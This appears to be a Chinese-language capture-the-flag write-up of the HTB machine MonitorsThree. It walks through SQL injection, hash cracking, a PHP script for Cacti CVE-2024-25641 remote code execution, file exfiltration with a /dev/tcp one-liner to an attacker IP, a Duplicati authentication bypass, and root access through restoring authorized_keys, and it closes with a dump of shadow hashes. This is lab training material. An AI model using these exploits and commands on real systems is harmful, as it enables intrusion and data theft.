Zumpyx Blog

MonitorsThree

Machines#622MediumLinuxmonitorsthree

SQLi、Hashcat、Ghauri、Cacti、CVE-2024-25641、Mysql、SSH_Proxy、Duplicati

Recon & Enum

nmap -p- --min-rate 1000 -T4 -sC -sV -O -v [ip]

PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp

VHost Scan

ffuf -u http://monitorsthree.htb/ -H "Host: FUZZ.monitorsthree.htb" -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 13560

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 128ms]

Cewl Scan

cewl -w log/cewl_monitorsthree_htb.log http://monitorsthree.htb/

Shell as www-data

image-20241113085544896.png

查看主页发现登录接口

image-20241113093714893.png

feroxbuster --no-state -u http://monitorsthree.htb/ -X php

image-20241113095317192.png

目录没发现什么有意思的东西,转到 cacti.monitorsthree.htb 看一下

image-20241113100001041.png

搜索 Cacti 相关漏洞,CVE-2022-46169、CVE-2024-29895

其中 CVE-2022-46169 测试失败,目前暂时没有凭据,先看一下有没有其他洞,关于 Cacti 后台这里,不打算测试 SQL 注入,因为这个版本不是最新版,而且也没有搜到有 SQL 注入漏洞的相关信息,因此,把重点放在 monitorsthree.htb 的登录窗口中

image-20241113100809830.png

image-20241113100835895.png

image-20241113100901602.png

这里明显可以看出,是存在 SQL 注入漏洞的,那么使用自动化工具跑一下

image-20241113101422719.png

Sqlmap 可以识别注入,但是始终跑不出来,换成 ghauri 试一下

image-20241113185800343.png

这里发现了报错注入,那速度将会飞起

ghauri --batch -r forgot_pass.req --dbs

image-20241113185951777.png

ghauri --batch -r forgot_pass.req -D monitorsthree_db --tables

image-20241113190007323.png

ghauri --batch -r forgot_pass.req -D monitorsthree_db -T users --dump

image-20241113190054018.png

image-20241113190105928.png

hashcat -m 0 31a181c8372e3afc59dab863430610e8 /usr/share/wordlists/rockyou.txt

image-20241113190215922.png

找到管理员密码 Hash,爆破得到管理员密码 greencacti2001

image-20241113155734684.png

根域名的后台可以登录,但是没啥功能点可利用

image-20241113155723183.png

Cacti 的后台也可以登录,找到一个需要认证的 RCE 漏洞 CVE-2024-25641

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php phpinfo(); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

将上述脚本写入到文件中,执行 php payload.php 会生成一个 test.xml.gz 文件

image-20241113161232967.png

在导入包功能栏这里导入 test.xml.gz 文件

image-20241113161058701.png

image-20241113161252057.png

Local Enum

image-20241113162430824.png

image-20241113161850130.png

找到两份 mysql 的连接密码:cactiuser:cactiuserapp_user:php_app_password

image-20241113162553296.png

可以看到有个 marcus 用户

Shell as Marcus

app_user 是主域名下的服务,也就是前面 SQL 注入的数据库,因此这里使用 cactiuser 连接

image-20241113162721510.png

在 cacti 里面找到 这个用户的 Hash,爆破一下

image-20241113162918052.png

image-20241113163013386.png

拿到密码了,但是无法登录 ssh,好像是设置了只有密钥登录,那么通过 su 来看一下

image-20241113163712991.png

image-20241113163751559.png

换成密钥就可以登录了

image-20241113164346545.png

查看本地环境,发现两个新端口

image-20241113170246051.png

尝试访问,发现被重定向到登录页面,而且也能看出是 Tiny WebServer 服务,大概有其他数据库。

image-20241113170815560.png

image-20241113173150235.png

看到 docker-compose.yml 已经把根目录挂载了,那么思路清晰

Shell as Root

可以用 cat CTADPNHLTC.sqlite > /dev/tcp/[ip]/[port] 先下载下来

image-20241113171352404.png

先把 8200 端口代理出来,在 Duplicati-server.sqlite 中发现了一个密码,但是 Base64 解码得到了不可打印字符,这主要是和 Duplicati 的认证方式有关,在这篇文章中可以了解

https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee

image-20241113173427221.png

先把 Server-passphrase 进行 Base64 decode + Hex Encode

image-20241113173542193.png

输入密码,拦截登录请求,获取第一个包的响应

image-20241113173812713.png

直接使用浏览器的 JS 获取 Hash

var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('hmlBOyfckHdB69CIhVh3q/QIXqkio1xWl0iNc3vtDD8=') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64);

image-20241113173918719.png

放包,在第二个请求包中输入密码,并进行 Url Encode

image-20241113173955965.png

image-20241113174024836.png

认证成功

image-20241113175600341.png

看到有备份功能,尝试创建新的备份

image-20241113174757707.png

image-20241113175711170.png

目标位置可以设置为 /source/tmp/

image-20241113174908389.png

源数据选择 /source/root/ 目录和 /source/etc/shadow 文件

image-20241113174935332.png

image-20241113175810165.png

得到了三个文件

duplicati-xxx.dlist.zip
duplicati-xxx.dblock.zip  
duplicati-xxx.dindex.zip

首先查看 dlist.zip 压缩包中的 filelist.json 文件,其中记录了所有文件名对应的 Hash

image-20241113180920023.png

可惜没有私钥

image-20241113180950078.png

可以找到 flag 的位置

image-20241113181034958.png

More

Root 权限

如何获取 root 权限呢,可以通过 Duplicati 的恢复功能,可以修改 /etc/passwd 也可以直接修改 /root/.ssh/authorized_keys

  1. 创建 /source/home/marcus/.ssh/authorized_keys 的备份

  2. 将备份恢复到 /source/root/.ssh/ 目录中

  3. 使用 marcus 用户的私钥 ssh 登录即可

image-20241113184741305.png

Dump Hash

root:$y$j9T$3TDQ3GS5lSkNwiN4EsxVB/$Jyu3CWLTQ4mIypw/03JOtPle6vdpaoY/x6J9brbV9P4:19869:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19861:0:99999:7:::
marcus:$y$j9T$E2hoLeuzugmRkxli4l2tW0$yW1Z2shW601aB1eqvybmrTri2Z6X6l9Wz5IIhK89Dd2:19861:0:99999:7:::
lxd:!:19861::::::
mysql:!:19861:0:99999:7:::
Debian-snmp:!:19861:0:99999:7:::
dnsmasq:*:19863:0:99999:7:::
_laurel:!:19954::::::